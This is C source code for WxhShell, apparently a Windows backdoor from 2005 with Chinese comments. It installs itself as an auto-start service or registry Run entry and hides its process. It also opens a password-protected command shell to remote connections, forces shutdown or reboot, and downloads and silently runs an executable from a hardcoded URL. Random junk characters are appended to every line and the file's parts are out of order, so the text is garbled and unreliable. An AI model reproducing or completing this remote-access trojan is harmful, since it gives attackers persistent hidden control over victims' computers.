  case 'd': { ]VYl Eqe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t+(CAP|,  
    if(Boot(SHUTDOWN)) z:G9Uu3H(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -5ec8m8  
    else { Rt:PW}rFf  
    closesocket(wsh); `( a^=e5  
    ExitThread(0); M{4_BQ4$  
    } Nb9pdkf0  
    break; y14@9<~9  
    } V7@xr M  
  // 获取shell 7=AKQ7BB>b  
  case 's': { HYH!;  
    CmdShell(wsh); Cp* n2  
    closesocket(wsh); 2$ rq  
    ExitThread(0); zXCIn  
    break; 5y'Yosy:  
  } d#tUG~jc  
  // 退出 ]1[;A$7  
  case 'x': { r/T DU[`&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >lW*%{|b$^  
    CloseIt(wsh); uR%H"f  
    break; a wK'XFk  
    } ^>p [b  
  // 离开 NE4fQi?3  
  case 'q': { /YbL{G )j}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZD{srEa/a  
    closesocket(wsh); aS7zG2R4H  
    WSACleanup(); `+o.w#cl  
    exit(1); >8tuLd*T  
    break; O?WaMfS[1  
        } N [u Xo  
  } bsr y([N>w  
  } |@HdTGD  
f.$o|R=v  
  // 提示信息 K?je(t^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [s2V-'2  
} NHF?73:  
  } YeLOd  
^-!HbbVv  
  return; TH!8G,(w  
} z{d5Lrk  
,Tl5@RN  
// shell模块句柄 +CT$/k  
int CmdShell(SOCKET sock) n4 @a`lN5g  
{ wjJ1Psnx  
STARTUPINFO si; h12wk2@P/]  
ZeroMemory(&si,sizeof(si)); !y`e,(E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7]j-zv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^^SfIK?p  
PROCESS_INFORMATION ProcessInfo; )1}g7:  
char cmdline[]="cmd"; 9VE;I:NO3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lKUm_; m  
  return 0; &>l8SlC?  
} K, 5ax@  
7y Te]O  
// 自身启动模式 ] <3?=$  
int StartFromService(void) S\5k' ifh  
{ 'kvFU_)  
typedef struct k)V%.Eobf  
{ Q;O)>K  
  DWORD ExitStatus; AsLjU#jn  
  DWORD PebBaseAddress; `;CU[Ps?]  
  DWORD AffinityMask; \{zAX~k6  
  DWORD BasePriority; o}+Uy  
  ULONG UniqueProcessId; ;Ph)BY<  
  ULONG InheritedFromUniqueProcessId; X,+}syK  
}   PROCESS_BASIC_INFORMATION; F ^t?*   
wrYQ=u#Z  
PROCNTQSIP NtQueryInformationProcess; y!N)@y4  
aSkx#mV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;sR6dT)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aiZo{j<6  
@) ZO$h  
  HANDLE             hProcess; 1`]IU_)1B  
  PROCESS_BASIC_INFORMATION pbi; S<!_ uq  
7E3SvC|M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }FiN 7#  
  if(NULL == hInst ) return 0; YOV4)P"  
w<e;rKr   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2{B(j&{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r`R~{;oT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CEuk1$  
>2CusT2  
  if (!NtQueryInformationProcess) return 0; } .3]  
Ogke*qM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #;LMtDaL  
  if(!hProcess) return 0; 8$v zpu  
k5t^s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vk)0n=  
CQjZAv  
  CloseHandle(hProcess); CLY6 YB' R  
+'['HQ)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rW~?0  
if(hProcess==NULL) return 0; 9c^skNbS  
l IVxW+  
HMODULE hMod; 5`"*y iv  
char procName[255]; W `u$7k]$  
unsigned long cbNeeded; )'!ml  
K@jSr*\'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }kCn@  
|Sr\jUIWn  
  CloseHandle(hProcess); m c\ C  
Z?(4%U5z  
if(strstr(procName,"services")) return 1; // 以服务启动 !jAWNK6  
S@c\|  
  return 0; // 注册表启动 'EL ||  
} 7.$]f71z  
VPM|Rj:d  
// 主模块 /~Zc}o,J  
int StartWxhshell(LPSTR lpCmdLine) +2EHmuJ;  
{ 7~ *;=,mw  
  SOCKET wsl; ~Un64M?  
BOOL val=TRUE; mX@j  
  int port=0; P(pd0,%i;a  
  struct sockaddr_in door; f^!11/Wv  
m)@Q_{=6M  
  if(wscfg.ws_autoins) Install(); Sf'i{xye  
_b0S  
port=atoi(lpCmdLine); <Spr6U9p7  
NokXE  
if(port<=0) port=wscfg.ws_port; Nt zq"ces)  
M)"]$TM  
  WSADATA data; $/[Gys3"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }c` ?0FQ  
*MYt:ms  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M8^.19q;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gva}J 6{  
  door.sin_family = AF_INET; rWoe ?g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s?^,iQ+tp  
  door.sin_port = htons(port); ?CH?kP  
%"l81z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W il{FcHY  
closesocket(wsl); R=\v3m  
return 1; =<[7J]%  
} *>e~_{F  
m !#_CQ:  
  if(listen(wsl,2) == INVALID_SOCKET) { A$7Eo`Of  
closesocket(wsl); CV!;oB&  
return 1; h'B9|Cm  
} kF+ZW%6N  
  Wxhshell(wsl); ,'FD}yw4v  
  WSACleanup(); 0=OD?48<  
GhqgRzX  
return 0; i^je.,Bi  
rGTWcJ   
} J3H.%m!V  
0fnZR$PB  
// 以NT服务方式启动 YO)')&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ':,>eL#+uV  
{ HR[Q ?rg  
DWORD   status = 0; ]@*tfz\YaH  
  DWORD   specificError = 0xfffffff; shM{Y9~O9&  
7}<Sg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {hxW,mmA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k?^%hO>[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %z1{Kus  
  serviceStatus.dwWin32ExitCode     = 0; nc<qbN  
  serviceStatus.dwServiceSpecificExitCode = 0; d2ohW|  
  serviceStatus.dwCheckPoint       = 0; ha_@Yqgh  
  serviceStatus.dwWaitHint       = 0; "VV914*z  
w3<Z?lj:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !\aV 0,  
  if (hServiceStatusHandle==0) return; Y.E?;iS  
Am#m>^!qb  
status = GetLastError(); `/c7h16  
  if (status!=NO_ERROR) F b1EMVu  
{ *7\W=-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GL/  KB  
    serviceStatus.dwCheckPoint       = 0; ?hKm&B;d  
    serviceStatus.dwWaitHint       = 0; l#Yx TY  
    serviceStatus.dwWin32ExitCode     = status; w-lrnjs  
    serviceStatus.dwServiceSpecificExitCode = specificError; bpGzTU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 77``8,  
    return; =Qyqfy*@D?  
  } *h2`^Z  
>Z}@7$(7!~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NNgK:YibD  
  serviceStatus.dwCheckPoint       = 0; Y7-*2"!  
  serviceStatus.dwWaitHint       = 0; ~fBex_.o*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); INOH{`}Ew  
} Q2q| *EL  
t{~@I  
// 处理NT服务事件,比如:启动、停止 L+73aN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HQl~Dh0DJ  
{ iNXFk4  
switch(fdwControl) >ZX|4U[$P  
{ Oohq9f#!  
case SERVICE_CONTROL_STOP: ^L ]B5,} -  
  serviceStatus.dwWin32ExitCode = 0; Ym'7vW#~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  *=TYVM9  
  serviceStatus.dwCheckPoint   = 0; PzLJ/QER  
  serviceStatus.dwWaitHint     = 0; s*f1x N<  
  { G&jZ\IV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aF!WIvir  
  } Gh'X.?3   
  return; cg{Gc]'1#  
case SERVICE_CONTROL_PAUSE: nz[ m3]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +|9f%f6vp  
  break; !f`5B( @  
case SERVICE_CONTROL_CONTINUE: O MvT;Vgg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o~;M"  
  break; l:)S 3  
case SERVICE_CONTROL_INTERROGATE: J]dW1boT@  
  break; TywK\hH  
}; gn^!"MN+g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hox< vr4  
} \ZsP]};*  
>%l:Dw\A:  
// 标准应用程序主函数 8A!'I<S1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e:BDQU  
{ I qx84  
mVt3WZa  
// 获取操作系统版本 V,m3-=q  
OsIsNt=GetOsVer(); AC'lS >7s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %W&1`^Jl  
2 ZK%)vq0  
  // 从命令行安装 bLco:-G1E1  
  if(strpbrk(lpCmdLine,"iI")) Install(); :Pf>Z? /d  
p jd o|  
  // 下载执行文件 (Igu:=  
if(wscfg.ws_downexe) { /e(W8aszi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FllX za)  
  WinExec(wscfg.ws_filenam,SW_HIDE); UhdqY]  
} >MPa38  
NNmM#eB:4  
if(!OsIsNt) { - zQ<Z E  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~2(]ZfO?>H  
HideProc(); 5e8xKL  
StartWxhshell(lpCmdLine); 'B,KFA<  
} w,/6B&|  
else M9DgO4xl  
  if(StartFromService()) R+uw/LG  
  // 以服务方式启动 D7gHE  
  StartServiceCtrlDispatcher(DispatchTable); JRo;(wqZ  
else X|'2R^V.  
  // 普通方式启动 d#8e~  
  StartWxhshell(lpCmdLine); ?<6@^X"  
dXK-&Po'  
return 0; 9DPb|+O-  
} K[]K53Nk  
cWM:  
]Zk}ZG>6  
-K^41W71  
=========================================== }uiPvO+&p  
QtlT&|$   
g>T  
B:nK)"{  
87}(AO)  
I)lC{v  
" t\%%d)d9  
^)<w*iqBD  
#include <stdio.h> t}~UYG( h~  
#include <string.h> {=iyK/Uf  
#include <windows.h> uJ 8x  
#include <winsock2.h> bw5T2wYZ  
#include <winsvc.h> R[Nbtbv9Q  
#include <urlmon.h> ^RDU p5,T  
N iISJWk6'  
#pragma comment (lib, "Ws2_32.lib") R\y'_S=#a  
#pragma comment (lib, "urlmon.lib") =x#&\ui  
#g{Mne  
#define MAX_USER   100 // 最大客户端连接数 *IqVY&  
#define BUF_SOCK   200 // sock buffer |*fNH(8&H  
#define KEY_BUFF   255 // 输入 buffer ZPvf-Pq Jl  
&?r*p0MQC  
#define REBOOT     0   // 重启 4m\([EO  
#define SHUTDOWN   1   // 关机 Q1]Wo9j  
> Y ] _K  
#define DEF_PORT   5000 // 监听端口 &=NJ  
I*( 1.%:m  
#define REG_LEN     16   // 注册表键长度 K"^cq~   
#define SVC_LEN     80   // NT服务名长度 l=NAq_?N\  
i7s\CY  
// 从dll定义API ?S9Nm~vlt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FJF3B)Va|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )mG0g@qOK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8$m1eQ`{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `@MPkC y1  
+(y>qd  
// wxhshell配置信息 :$2Yg[Zc3  
struct WSCFG { C]Q>*=r  
  int ws_port;         // 监听端口 506V0]`/  
  char ws_passstr[REG_LEN]; // 口令 P=Puaz5&{  
  int ws_autoins;       // 安装标记, 1=yes 0=no ? oc+ 1e  
  char ws_regname[REG_LEN]; // 注册表键名 MX?}?"y  
  char ws_svcname[REG_LEN]; // 服务名 ]) =H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #// %&k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cyBW0wV1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /3F<=zikO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #'8)u)!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g&kH'fR8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1\IZcJ {  
bOe<\Y$  
}; jr:drzr{I  
)tvc/)&A}  
// default Wxhshell configuration b*`fLrqV.  
struct WSCFG wscfg={DEF_PORT, 8yvJ`eL-  
    "xuhuanlingzhe", ?uig04@3  
    1, H>Ks6V)RL4  
    "Wxhshell", =EWD |<  
    "Wxhshell", d=F)y~&'  
            "WxhShell Service", Kk`<f d  
    "Wrsky Windows CmdShell Service", PF`:1;P U  
    "Please Input Your Password: ", RPY 6Wh| 4  
  1, "h$D7 mL  
  "http://www.wrsky.com/wxhshell.exe", H(?e&Qkg  
  "Wxhshell.exe" aoK4Du{  
    }; Xj(>.E{~H  
RW)k_#%=  
// 消息定义模块 .T{U^0 )  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0S_Ra+e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [d\#[l_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B]i+,u  
char *msg_ws_ext="\n\rExit.";  t9]r  
char *msg_ws_end="\n\rQuit."; A>5S]  
char *msg_ws_boot="\n\rReboot..."; z30=ay1  
char *msg_ws_poff="\n\rShutdown..."; pRmEryR(U  
char *msg_ws_down="\n\rSave to "; 5uzpTNAMM1  
pIL`WE1'  
char *msg_ws_err="\n\rErr!"; oR7 7`  
char *msg_ws_ok="\n\rOK!"; H&9wSG`  
aK-N}T  
char ExeFile[MAX_PATH]; 9z5z  
int nUser = 0; jD<9=B(g  
HANDLE handles[MAX_USER]; 95VqaR,  
int OsIsNt; oUCVd}wH  
'&+Z,  
SERVICE_STATUS       serviceStatus; /1U,+g^O>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R+C+$?4NG  
V` U/'N-ay  
// 函数声明 :K?iNZqWN6  
int Install(void); L{zamVQG  
int Uninstall(void); \A~4\um  
int DownloadFile(char *sURL, SOCKET wsh); @i;LZa  
int Boot(int flag); dr}O+7_7%-  
void HideProc(void); H#_}^cGPR=  
int GetOsVer(void); oK%K+h  
int Wxhshell(SOCKET wsl); A-}PpH~.Z  
void TalkWithClient(void *cs); Sv~PXi^`H  
int CmdShell(SOCKET sock); S`iM.;|`O  
int StartFromService(void); WReYF+Uen  
int StartWxhshell(LPSTR lpCmdLine); nvw NjN  
;9 lqSv/6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jD$;q7fB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9 <y/Wv  
*vEU}SxRuv  
// 数据结构和表定义 9(V=Ubj  
SERVICE_TABLE_ENTRY DispatchTable[] = vr5<LNCLQ  
{ 3ZLr"O1l)  
{wscfg.ws_svcname, NTServiceMain}, # r2$ZCo3o  
{NULL, NULL} &:IfhS  
}; 8uD8or  
Q3'(f9 x  
// 自我安装 3( >(lk  
int Install(void) o%y+Y;|?J  
{ N^)<)?  
  char svExeFile[MAX_PATH]; 1==P.d(  
  HKEY key; ;))[P_$zB  
  strcpy(svExeFile,ExeFile); o;HdW  
^' edE5  
// 如果是win9x系统,修改注册表设为自启动 TPV6$a<  
if(!OsIsNt) { HPv&vdr3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E` :ZH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $_%2D3-;D  
  RegCloseKey(key); !;BZ#tF&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HY@kw>I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BVwRPt  
  RegCloseKey(key); OgzGkc@A  
  return 0; a,F8+ Pb>  
    } sYW1T @  
  } VyBJIzs0  
} =N[V{2}q  
else { ;@=@N9q K  
%BT)oH}  
// 如果是NT以上系统,安装为系统服务 =PeW$q+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  h;:Se  
if (schSCManager!=0) Huug_E+  
{ ,& \&::R  
  SC_HANDLE schService = CreateService wd2P/y42;;  
  ( -Lz1#Sk]A  
  schSCManager, .3g\[p   
  wscfg.ws_svcname, [xp~@5r'  
  wscfg.ws_svcdisp, w2M IY_N?  
  SERVICE_ALL_ACCESS, !<['iM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iYmzk?U  
  SERVICE_AUTO_START, ` i^`Q  
  SERVICE_ERROR_NORMAL, lhW#IiX  
  svExeFile, !pF KC)  
  NULL, `,8R~-GPD  
  NULL, \|b1s @c8  
  NULL, HCe-]nMd  
  NULL, 4,R\3`b  
  NULL qNuv?.7  
  ); }X W#?l  
  if (schService!=0) 3ec==.  
  { ^0BF2&Zx  
  CloseServiceHandle(schService); iA{chQBr  
  CloseServiceHandle(schSCManager); <|>:UGAR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r)Mx.`d!  
  strcat(svExeFile,wscfg.ws_svcname);  8t^;O!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B2Awdw3=g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;MdK3c  
  RegCloseKey(key); e4NX\tCpw  
  return 0; EssUyF-jwU  
    } yU&g|MV_  
  } 7+2aG  
  CloseServiceHandle(schSCManager); Z({`9+/>u  
} 80l3.z,:  
} [7 Kj$PB3  
KI? 1( L  
return 1; WTy8N  
} f^yLwRUD  
N4GIb 6  
// 自我卸载 bU g2Bm!y  
int Uninstall(void) BX)cV  
{ b3HTCO-,fC  
  HKEY key; yKk,);  
@0@'6J04  
if(!OsIsNt) { }?ac<> u&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =ym~= S  
  RegDeleteValue(key,wscfg.ws_regname); HDXjH|of  
  RegCloseKey(key); A"T. nqB^y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { snk{u/0Xm  
  RegDeleteValue(key,wscfg.ws_regname); `5 v51TpH  
  RegCloseKey(key); p=5H^E m1  
  return 0; BrH`:Dw  
  } @BQB NGR1  
} x`|tT%q@l  
} :aFpz6<  
else { qZ]VS/5A  
ST [1'T+L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -"^WDs  
if (schSCManager!=0) DDCQAf  
{ #di_V"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C5n=2luI_  
  if (schService!=0) n[w,x;  
  { J,M5<s[Xqt  
  if(DeleteService(schService)!=0) { 7 |eSvC  
  CloseServiceHandle(schService); L}S4Zz18  
  CloseServiceHandle(schSCManager); S/:QVs  
  return 0; !5 :[XvI#  
  } BNm va  
  CloseServiceHandle(schService); YbBH6R Zr  
  } 9TN5|x  
  CloseServiceHandle(schSCManager); /F9lW}pd  
} JY8"TQ$x  
} N'BctKL  
=X'7V}Q}  
return 1; h}<ZZ  
} _!p$47  
imq(3?  
// 从指定url下载文件 4W-+k  
int DownloadFile(char *sURL, SOCKET wsh) Ck a]F2,  
{ Gv3Fg[MA@c  
  HRESULT hr; [cAg'R6  
char seps[]= "/"; (eE}W~Z  
char *token; 54DR.>O  
char *file; Ca"+t lO  
char myURL[MAX_PATH]; ?v~3zHK  
char myFILE[MAX_PATH]; R2ZQBwB  
^aWNtY' :  
strcpy(myURL,sURL); O7*i;$!R  
  token=strtok(myURL,seps); 5VoiDM=\c  
  while(token!=NULL)  Hu2g (!  
  { Bzt`9lg  
    file=token; :Aiu!}\  
  token=strtok(NULL,seps); ryLNMh  
  } !T(Omve)  
RYaof W  
GetCurrentDirectory(MAX_PATH,myFILE); ,PxQ[CGg  
strcat(myFILE, "\\"); ^#nWgo7{7  
strcat(myFILE, file); {S(T1ua  
  send(wsh,myFILE,strlen(myFILE),0); LbknSy C  
send(wsh,"...",3,0); FQ1oqqr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lc#zS_  
  if(hr==S_OK) [ [CXMbD`*  
return 0; DN0b.*[`3  
else PdBhX  
return 1; oF^hq-xcP  
?tQv|x  
} ^C| 9K>M  
>iJuR.:OO  
// 系统电源模块 J :(\o=5 5  
int Boot(int flag) gP%!  
{ 1\{F.v  
  HANDLE hToken; | :[vpJFK  
  TOKEN_PRIVILEGES tkp; aC 0Jfo  
f`rz)C03  
  if(OsIsNt) { .w)t<7 y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U8z"{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !S{<Xc'wv  
    tkp.PrivilegeCount = 1; Jz'+@q6h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z59J=?|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); giJyMd}x  
if(flag==REBOOT) { tpK4 gjf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j-|0&X1C  
  return 0; [.,6~=}vP  
} <2d@\"AoHE  
else { W7"sWaOhW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E1_4\ S*z  
  return 0; eO G%6C%a  
} :nEV/"#F  
  } "FS.&&1(  
  else { k0?6.[ku  
if(flag==REBOOT) { RoRVu,1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &0`7_g7G  
  return 0; YfKty0  
} pC8i &_A  
else { )_?$B6hf,&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D IN PAyY  
  return 0; zY-m]7Yf  
} rOT8!"  
} JM%#L*;  
.5xM7,  
return 1; ? |dz"=y  
} Efl+`6`J  
eGil`:JY"  
// win9x进程隐藏模块 rg~CF<  
void HideProc(void) 6 -}gqkR  
{ i|mA/ e3b  
d]]qy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -C+vmY*@  
  if ( hKernel != NULL ) V^i3:'  
  { U_No/$ b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }^q#0`e(y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sj ?'T@  
    FreeLibrary(hKernel); b'YbHUyu  
  } D~:fn|/Brp  
W% ud nJ  
return; x?IT#ty  
} ,R+u%bmn#  
25L{bcng  
// 获取操作系统版本 Y$^\D' .k  
int GetOsVer(void) f7'%AuSQ(  
{ hj4Rr(T  
  OSVERSIONINFO winfo; iJBZnU:Mp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5hAg*zJb5o  
  GetVersionEx(&winfo); %}[??R0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *)<tyIHd  
  return 1; OBZj-`fqJ  
  else LHb{9x  
  return 0; rxARJ so  
} ~a$% a  
?6dtvz;K+?  
// 客户端句柄模块 ,n*.Yq  
int Wxhshell(SOCKET wsl) |}; ~YMH  
{ d:D2[  
  SOCKET wsh; WxFjpJt  
  struct sockaddr_in client; ARE~jzakg  
  DWORD myID; /Q!F/HY3ZS  
vF,l?cU~  
  while(nUser<MAX_USER) W5p}oN  
{ C N"c  
  int nSize=sizeof(client); zkMQ= ,[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IQDWH/ c  
  if(wsh==INVALID_SOCKET) return 1; oZ}e w!V  
i]nE86.;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); luMNi^FQ  
if(handles[nUser]==0) II91Ia  
  closesocket(wsh); jnTl%aQYc  
else ^tv*I~>J!  
  nUser++; =T$E lXwJ  
  } yS*PS='P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?vVkZsU  
+3C S3fTq  
  return 0; "#7i-?=  
} G 1$l%B  
.#n?^73  
// 关闭 socket "a: ;  
void CloseIt(SOCKET wsh) /a q%l]hQ@  
{ ^tah4QmUA  
closesocket(wsh); >b?,zWiw  
nUser--; k2=uP8  
ExitThread(0); ty78)XI  
} h2q]!01XP  
7-5q\[ZK  
// 客户端请求句柄 a-3~HH  
void TalkWithClient(void *cs) UW+I 8\^  
{ R:e:B7O~0  
[ACYd/  
  SOCKET wsh=(SOCKET)cs; 4Mprc~ 7vr  
  char pwd[SVC_LEN]; T.pPQH__  
  char cmd[KEY_BUFF]; DirWe  
char chr[1]; %S^`/Snv"  
int i,j; 1)r1/0  
gFKQm(0g2  
  while (nUser < MAX_USER) { |9y &;3  
j.z#fU  
if(wscfg.ws_passstr) { '~@WJKk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?eu=0|d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZGf=/Ra a  
  //ZeroMemory(pwd,KEY_BUFF); rh!41  
      i=0; rdK.*oT  
  while(i<SVC_LEN) { #NqA5QR  
}$7Hf+G  
  // 设置超时 F :u}7t>  
  fd_set FdRead; %pMW5]H  
  struct timeval TimeOut; +`[$w<I  
  FD_ZERO(&FdRead); `S!`=26Z!  
  FD_SET(wsh,&FdRead); ';1 c  
  TimeOut.tv_sec=8; 34oC285yc  
  TimeOut.tv_usec=0; aA:Ky&5e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fc=8Qt^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %PG0PH4?  
=3}+f-6"'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  "u%$`*  
  pwd=chr[0]; Z?GC+hG`  
  if(chr[0]==0xd || chr[0]==0xa) { 0{j>u`  
  pwd=0; Jjy}m0)#W_  
  break; 3*FktXmI}  
  } @<};Bo'  
  i++; f6m^pbQFl  
    } &o?pZ(\C  
}x%"Oq|2]x  
  // 如果是非法用户,关闭 socket v!x=fjr<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :dK%=j*ZK  
} M0^r!f>O  
*kDXx&7B$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .$q]<MK8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qOng?(I  
&;y(@e }D  
while(1) { 0^.q5#A2  
vbSz&+52;  
  ZeroMemory(cmd,KEY_BUFF); 7ed*dXY*  
p}j{ <y  
      // 自动支持客户端 telnet标准   Y &#<{j':  
  j=0; NoPM!.RU{  
  while(j<KEY_BUFF) { ftK.jj1:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ncWASw`  
  cmd[j]=chr[0]; >CYg\vas!  
  if(chr[0]==0xa || chr[0]==0xd) { s&c^Wr  
  cmd[j]=0; =P5SFMPN  
  break; *{C)o0D  
  } K[ylyQ1  
  j++; //WgK{Mt  
    } mhcJ0\@_  
EmLPq!C  
  // 下载文件 U_14CLs dG  
  if(strstr(cmd,"http://")) { UH[ YH;3O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bi,%QZZ  
  if(DownloadFile(cmd,wsh)) * yt/ Dj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GA;E (a  
  else Ue8_Q8q5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Ce:<.99B  
  } JhuK W>7  
  else { .}Xkr+ +]  
NMOTWA }2  
